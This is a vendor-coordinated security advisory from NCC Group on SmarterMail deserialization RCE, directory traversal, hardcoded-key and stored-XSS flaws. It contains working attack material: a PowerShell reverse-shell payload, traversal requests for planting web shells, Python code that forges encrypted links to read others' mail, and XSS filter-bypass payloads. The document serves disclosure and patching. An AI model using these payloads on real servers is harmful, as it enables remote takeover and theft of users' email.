Vendor: SmarterTools
Vendor URL: https://www.smartertools.com/
Versions affected: prior to Build 6985 (CVE-2019-7214), prior to Build 7040 (CVE-2019-7211, CVE-2019-7212, CVE-2019-7213)
Systems Affected: SmarterMail
Author: Soroush Dalili (@irsdl)
Advisory URL / CVE Identifier:
CVE-2019-7214, CVE-2019-7213, CVE-2019-7212, CVE-2019-7211
https://www.smartertools.com/smartermail/release-notes/current
Risk: Critical and High
Summary
The SmarterMail application is a popular mail server with rich features for normal and administrative users. This application uses the latest version of .NET Framework (4.7.2 at the time of writing the advisory).
The following vulnerabilities were discovered in the SmarterMail application:
- Critical – CVE-2019-7214: Deserialization of Untrusted Data, was patched by Build 6985
- Critical – CVE-2019-7213: Directory Traversal, was patched by Build 6985
- High – CVE-2019-7212: Hardcoded Secret Keys, was patched by Build 6985
- High – CVE-2019-7211: Stored Cross-Site Scripting, was patched by Build 6995
Impact
Deserialization of Untrusted Data (CVE-2019-7214)
An unauthenticated attacker could run commands on the server when port 17001 was remotely accessible. This port is not accessible remotely by default after applying the Build 6985 patch.
Directory Traversal (CVE-2019-7213)
An authenticated user could delete arbitrary files or could create files in new folders in arbitrary locations on the mail server. This could lead to command execution on the server for instance by putting files inside the web directories.
Hardcoded Secret Keys (CVE-2019-7212)
An unauthenticated attacker could access other users’ emails and file attachments. It was also possible to interact with mailing lists.
Stored Cross-Site Scripting (CVE-2019-7211)
JavaScript code could be executed on the application by opening a malicious email or when viewing a malicious file attachment.
Details
Insecure .NET Deserialization in SmarterMail – Unauthenticated Remote SYSTEM RCE (CVE-2019-7214)
The SmarterMail service that was running under the SYSTEM account used three .NET remoting endpoints that were vulnerable to deserialization attacks. As a result, it was possible to run code and commands on the server using the SYSTEM account.
The following endpoints used .NET remoting and were enabled by default:
tcp://127.0.0.1:17001/Spool
tcp://127.0.0.1:17001/Servers
tcp://127.0.0.1:17001/Mail
As ‘TypeFilterLevel.Full’ was used in ‘BinaryServerFormatterSinkProvider’, it was possible to use the ExploitRemotingService (https://github.com/tyranid/ExploitRemotingService) using a BinaryFormatter generated payload from the ysoserial.net project (https://github.com/pwntester/ysoserial.net).
For instance, in order to create a payload for a reverse shell from the server, the following commands could be executed in PowerShell using the ysoserial.net project:
$command = '$client = New-Object System.Net.Sockets.TCPClient("192
.168.6.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.
Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data
2> 1 | Out-String );$sendback2 =$sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($s
endback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
.ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -o base6
4 -c "powershell.exe -encodedCommand $encodedCommand"
The result of the above commands could then be passed to the ExploitRemotingService project:
ExploitRemotingServicebinx86Debug>ExploitRemotingService.exe tcp://192.168.6.143:17001/Servers raw AAEAAAD/////[…snipped-base64…]XV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JDAAAAAoJDAAAAAkYAAAACRYAAAAKCw==
As shown below, the reverse shell was connected to the attacker’s box on port 4444 using the SYSTEM account:
This issue was addressed by making the 17001 port accessible only locally (by binding it to 127.0.0.1). As a result, it cannot be exploited remotely after applying the patch provided. However, attackers who can run commands on the server can still abuse this to escalate their privilege to SYSTEM.
SmarterTools’ latest comment on this was:
“It still runs under SYSTEM; however, we limit the service to only accept local connections. Regarding moving to WCF — this is planned, but it’s a large task. We will be slowly transitioning over time.”
Multiple Directory Traversal (CVE-2019-7213)
The SmarterMail application was vulnerable to directory traversal attacks. Unauthenticated users of the application could delete files where the IIS user had write permission for instance on all the files within the ‘SmarterMailMRSApp_Data’ folder that also contain the log files that could be deleted by an intruder to cover their path.
In addition to this, authenticated users could upload their files into a folder and move it to an arbitrary directory on the server. As a result, it was possible to execute code on the server by uploading web shells on root directories of available websites including the SmarterMail website. In addition to directory traversal patterns, it was also possible to use a direct folder destination that could be another server with a shared drive or an external attacker to capture the SMB request.
Deleting Files
The ‘resumableIdentifier’ parameter that was sent to ‘/api/upload’ was affected. The following HTTP request shows an example with which a log file was deleted from the server:
POST /api/upload HTTP/1.1
Host: target:9998
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Content-Length: 1426
-----------------------------41184676334
Content-Disposition: form-data; name="resumableChunkNumber"
1
-----------------------------41184676334
Content-Disposition: form-data; name="resumableChunkSize"
123
-----------------------------41184676334
Content-Disposition: form-data; name="resumableCurrentChunkSize"
123
-----------------------------41184676334
Content-Disposition: form-data; name="resumableTotalSize"
123
-----------------------------41184676334
Content-Disposition: form-data; name="resumableType"
text/calendar
-----------------------------41184676334
Content-Disposition: form-data; name="resumableIdentifier"
../Logs/ErrorLog 2019.01.17.txt
-----------------------------41184676334
Content-Disposition: form-data; name="resumableFilename"
foobar.ics
-----------------------------41184676334
Content-Disposition: form-data; name="resumableRelativePath"
foobar.ics
-----------------------------41184676334
Content-Disposition: form-data; name="resumableTotalChunks"
1
-----------------------------41184676334
Content-Disposition: form-data; name="context"
calendar-ics
-----------------------------41184676334
Content-Disposition: form-data; name="contextData"
-----------------------------41184676334
Content-Disposition: form-data; name="file"; filename="blob"
Content-Type: application/octet-stream
x
-----------------------------41184676334--
It was also possible to shorten the request above:
POST /api/upload HTTP/1.1
Host: 192.168.6.143:9998
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Content-Length: 330
-----------------------------41184676334
Content-Disposition: form-data; name="resumableIdentifier"
../Logs/ErrorLog 2019.01.17.txt
-----------------------------41184676334
Content-Disposition: form-data; name="file"; filename="blob"
Content-Type: application/octet-stream
x
-----------------------------41184676334--
As the application showed verbose error messages to the response of the request above, it was possible to find the application path especially when it was installed in a non-default location. This could be useful in other attacks. The following request and its response show an example:
== request ==
POST /api/upload HTTP/1.1
Host: 192.168.6.143:9998
Content-Type: multipart/form-data; boundary=---------------------------41184676334
Content-Length: 300
-----------------------------41184676334
Content-Disposition: form-data; name="resumableIdentifier"
.
-----------------------------41184676334
Content-Disposition: form-data; name="file"; filename="blob"
Content-Type: application/octet-stream
x
-----------------------------41184676334—
==response body==
{"message":"System.UnauthorizedAccessException: Access to the path 'C:Program Files (x86)SmarterToolsSmarterMailMRSApp_Dataupload' is denied.rn at System.IO.__Error.WinIOError(Int32 errorCode, String maybeFullPath)rn at System.IO.FileStream.Init(String path, FileMode mode, FileAccess access, Int32 rights, Boolean useRights, FileShare share, Int32 bufferSize, FileOptions options, SECURITY_ATTRIBUTES secAttrs, String msgPath, Boolean bFromProxy, Boolean useLongPath, Boolean checkHost)rn at System.IO.FileStream..ctor(String path, FileMode mode, FileAccess access, FileShare share, Int32 bufferSize)rn at Resumable.Controllers.FileUploadController.ConsolidateFile(ResumableConfiguration configuration)rn at Resumable.Controllers.FileUploadController.TryAssembleFile(ResumableConfiguration configuration)rn at Resumable.Controllers.FileUploadController.d__10.MoveNext()"}
Copying Files to Arbitrary Locations
The ‘newFolderName’ parameter that was sent to ‘/api/v1/filestorage/folder-patch’ was affected. It was therefore possible to move a folder to another location on the server (or on another server when full file path or a UNC path was used). As the SmarterMail service was running with the SYSTEM account, it was possible to move the malicious directory to any arbitrary location on the server.
The following steps can be followed to upload a web shell on the SmarterMail website directory located at ‘SmarterToolsSmarterMailMRS’ by default:
- Create two directories in the file storage section (‘/interface/root#/file-storage’)
The second directory is needed to enable the “Move Folder” functionality
- Upload a web-shell into the first folder as shown below:
- Right click on the first folder that contains the web shell and click the “Move Folder” option. A pop up message will be appeared like this:
- Set a web proxy on the browser to capture the request after pressing the “Move” button without sending it to the server so it would remain valid for further manipulation. A sample captured request is shown below:
POST /api/v1/filestorage/folder-patch HTTP/1.1
Host: 192.168.6.143:9998
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.6.143:9998/interface/root
Content-Type: application/json;charset=utf-8
Authorization: Bearer [Valid Token Here]
Content-Length: 108
Connection: close
{"folder":"folder1","newFolderName":"folder1","parentFolder":"","newParentFolder":"My Filesfolder2"}
- The ‘newFolderName’ parameter highlighted above was vulnerable. The following patterns show examples to copy our malicious folder to the ‘SmarterToolsSmarterMailMRS’ folder that contained the SmarterMail website files:
..........................program files (x86)SmarterToolsSmarterMailMRSfolder1
C:program files (x86)SmarterToolsSmarterMailMRSfolder1
\localhostc$program files (x86)SmarterToolsSmarterMailMRSfolder1
- The following request was sent to the server after applying the changes:
POST /api/v1/filestorage/folder-patch HTTP/1.1
Host: 192.168.6.143:9998
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.6.143:9998/interface/root
Content-Type: application/json;charset=utf-8
Authorization: Bearer [Valid Token Here]
Content-Length: 217
Connection: close
{"folder":"folder1","newFolderName":"..........................program files (x86)SmarterToolsSmarterMailMRSfolder1","parentFolder":"","newParentFolder":"My Filesfolder2"}
- It was then possible to access the uploaded web shell on the SmarterMail website:
Sensitive data disclosure using hard coded keys (CVE-2019-7212)
It was possible to extract keys that were used by SmarterMail when using symmetric encryption algorithms. Unauthenticated users could abuse the extracted data to compromise the application as these keys were not dynamically generated during the installation.
Symmetric encryption keys and initial vectors were found in the following locations:
- OptData class in SmarterMail.Common.Config.MailingLists
- AttachmentsHelper class in SmarterMail.Logic.Mail
- Utility class in MailService.WCF.HelperClasses
- UserTwoFactor class in MailService.Core and CryptographyHelper class in SmarterTools.Common.Utilities
Note that other static encryption keys might exist in other places of the application which needs to be identified by the developers.
Hijacking Email Contents:
As a proof of concept, the following Python code could be used to download an email from the sent box (the “sent items” folder):
import urllib
from pyDes import *
import base64
data_param_value = '{"user":"smuser2@sm.local","folder":"sent+items","uid":"1","partids":"1","filename":"hijack.zip"}'
## or this for decryption: ##
#data_param_value = 'R2SXtCF6sxBGmTHUpHYogDA+SGl8LyoNS3Nf8Kwr1cjGfu63gCk5zRAwQhvgAfSMEsY9UtqOX4BeQEwlzEVPy4Zb0uxUq+7f3Zmd3TBFEIt/akWAxpuaaYOcnCTdTZk7s0QSBWq5cUs='
if ("{" in data_param_value):
# Encryption
k = des("d0wnl04d", CBC, "x0dx25x12x53x22x2ex3dx52", pad=None, padmode=PAD_PKCS5)
d = k.encrypt(str(data_param_value))
print "Encrypted:n%s" % (base64.b64encode(d))
else:
# Decryption
k = des("d0wnl04d", CBC, "x0dx25x12x53x22x2ex3dx52", pad=None, padmode=PAD_PKCS5)
data_param_value = data_param_value.replace(" ","+")
d = k.decrypt(base64.b64decode(data_param_value))
print "Decrypted:n%s" % (d)
The highlighted parameters above could be enumerated. The ‘partids’ parameter could be increased to access other materials within an email such as attachments.
It was then possible to download the email contents or attachment using the encrypted string:
http(s)://[targetdomain]/attachment/download?data=Base64EncryptedStringHere
When an email did not exist with the provided parameter, the application responded with the following error message:
{"message":"Error getting attachment"}
However, it responded with a compressed file when the email contents existed. The following screenshot shows the Burp Suite tool that was used to download email contents without being authenticated:
Note that the ‘partids’ parameter could contain multiple IDs separated by a comma character. However, an error was received when a requested part ID did not exist. Therefore, it might be easier for an attacker to increase it sequentially by one when some contents exist.
The ‘user’ parameter could be easily found by using the download URL when some contents exist for a number of small ‘uid’ values.
It was easily possible to automate this attack to extract all emails from a server.
The following Python code was developed for the Python Scripter extension of Burp Suite in order to make the testing easier:
import re,random
import urllib
from pyDes import *
import base64
enabledRequestReplace = 1
if(messageIsRequest and enabledRequestReplace):
if (callbacks.getToolName(toolFlag) == "Intruder" or callbacks.getToolName(toolFlag) == "Repeater" or callbacks.getToolName(toolFlag) == "Target" or callbacks.getToolName(toolFlag) == "Scanner"):
data_param = helpers.getRequestParameter(messageInfo.getRequest(), "data") # getting the "data" parameter
if (data_param):
data_param_value = helpers.urlDecode(data_param.getValue())
if ("{" in data_param_value):
requestInfo = helpers.analyzeRequest(messageInfo)
hostname = requestInfo.getUrl().getHost()
relPath = urllib.unquote(requestInfo.getUrl().getPath()).decode('utf8')
if("attachment" in relPath or "filestorage" in relPath):
k = des("d0wnl04d", CBC, "x0dx25x12x53x22x2ex3dx52", pad=None, padmode=PAD_PKCS5)
d = k.encrypt(str(data_param_value))
encrypted_data_param_value = helpers.base64Encode(d)
urlDataPram = helpers.buildParameter('data', encrypted_data_param_value, 0) # updating the "data" URL parameter
message = helpers.updateParameter(messageInfo.getRequest(), urlDataPram)
messageInfo.setRequest(message)
print "request has been updated!"
else:
k = des("d0wnl04d", CBC, "x0dx25x12x53x22x2ex3dx52", pad=None, padmode=PAD_PKCS5)
data_param_value = data_param_value.replace(" ","+")
d = k.decrypt(base64.b64decode(data_param_value))
print "%s decrypted: n %s" % (str(data_param_value), d)
Email Enumeration:
It was also possible to enumerate email addresses using the following URL:
http(s)://[targetdomain]/api/v1/contacts/gal-image-link?email=smuser2@sm.local
The SmarterMail application responded with a link when an email exists. The following message was received when an email did not exist:
{"imageLink":null,"success":true,"resultCode":200}
This behaviour could be used to extract a list of valid email addresses in order to hijack their email contents using the previously explained issue.
Multiple Stored Cross-Site Scripting (XSS) (CVE-2019-7211)
The SmarterMail application was vulnerable to a stored cross-site scripting issue by bypassing the anti-XSS mechanisms. It was possible to run JavaScript code when a victim user opens or replies to the attacker’s email, which contained a malicious payload.
Additionally, users could upload files containing JavaScript code that could be exploited using the inline attachment capability of the APIs.
Anti-XSS Bypass in Email Contents:
The following payloads could be included in an email to bypass the current blacklist rules:
Meta tag bypass:<br><meta http-equiv=' #82;efresh' content='0;url=jav #0097script:alert(0)'><br><br><br>Link XSS in Firefox:<br><math href='jav #0097script:alert(1)'>Firefox XSS Click Here</math><br><br><br>Iframe XSS:<br><iframe src='//smartertools.com' srcdoc=' lt;img src equals;x:x onerror equals;alert lpar;document.domain rpar; gt;'></iframe><br><br><br>Iframe src whitelist bypass:<br><iframe src='//smartertools.com@attacker.com/'></iframe><br><br><br>XSS1 using SVG:<br>Click on this:<br><svg><br><a xmlns_xlink='http://www.w3.org/1999/xlink' xlink_href='jav #0097script:alert(3)'><rect width='1000' height='1000' fill='red'></rect></a><br></svg><br><br><br>XSS2 using SVG:<br>Then, click on this:<br><svg><br><a xmlns_xlink='http://www.w3.org/1999/xlink' xlink_href='?'><br><circle r='400'></circle><br><animate attributename='xlink:href' begin='0' from='jav #0097script:alert(4)' to=' '></animate><br></a><br></svg>
It seems that the application could not validate HTML encoded attribute values properly. Additionally, it could not identify some of valid HTML entities as listed in https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet. For instance, it was possible to use the “Decimal HTML character references without trailing semicolons” technique to include “javascript:” in an attribute. An example was:
href='jav #000000000000000000000000000000000000000097script:alert(1)'
The URL whitelisting for the Iframes could also be bypassed as the whitelisted links did not end with a slash character. As a result, it was possible to append other characters to them to use another domain or redirect users to another URL:
//smartertools.com@attacker.com/
//smartertools.com.attacker.com/
Some other attributes such as ‘srcdoc’ or the ones included in the SVG examples were not blacklisted.
The following screenshot shows that at least one of the XSS payloads could be run without any user interaction after viewing an email:
XSS in Attachments:
Although it was not possible to exploit this issue by uploading ‘.htm’ or ‘.html’ files during testing, other file extensions such as ‘.xml’ or ‘.svg’ were identified that could be used to perform XSS attacks.
In order to exploit this issue, a user could attach a malicious file such as the following SVG file to an email:
<?xml version="1.0" standalone="no"?>
After saving the email in the draft or sending it, it was possible to open it and download the attachment:
The download link was similar to:
http(s)://[domain]/attachment/download?data=R2SXtCF6sxAB5beuJeHflLFvo%2fDEcFtKzSfi%2b9MS43KU4hHos9bY0FykpwgO4YyOzHRwTYf0h8Ff1AAxhOZ4NGUp5XUFP4RDB47beueDSBR5RXcUeUzk%2fA%3d%3d
However, the response contained the ‘Content-Disposition: attachment;…’ header that triggered the file download functionality in the browser rather than showing the uploaded file directly.
This protection could be bypassed by using the ‘data’ parameter in the following URL:
http(s)://[domain]/attachment/inline?data=R2SXtCF6sxAB5beuJeHflLFvo%2fDEcFtKzSfi%2b9MS43KU4hHos9bY0FykpwgO4YyOzHRwTYf0h8Ff1AAxhOZ4NGUp5XUFP4RDB47beueDSBR5RXcUeUzk%2fA%3d%3d
Recommendation
Install the latest application patch (at least Build 7040). The Build 6985 patch that was released on 15/02/2019 should be sufficient to stop the remotely exploitable deserialization issue as well as unauthenticated mail contents and attachments access.
As the .NET Remoting port (17001) has now been restricted to the local box, it is still possible to escalate privileges from a normal user to SYSTEM when a local code execution vulnerability or access exists. As a result, the SmarterMail server should only be accessible to trusted users.
Due to the simplicity of finding and exploiting the Deserialization of Untrusted Data issue (CVE-2019-7214), it is recommended to review the server logs and activities to ensure it has not been compromised by attackers in the past.
Vendor Communication
28/01/2019: Issues were reported to the vendor via email
15/02/2019: A patch was released for all reported issues except for the stored XSS (Build 6985)
25/02/2019: A patch was released for the reported stored XSS issues (Build 6995)
19/03/2019: The application was retested and some issues were not fixed
19/03/2019: The remaining issues were reported to the vendor
11/04/2019: A new patch was released for the remaining issues (Build 7040)
17/04/2019: Public disclosure
Thanks to
Derek Curtis of SmarterTools for making the reporting process easier and for updating us with the patching progress.
About NCC Group
NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.
Written by: Soroush Dalili (@irsdl)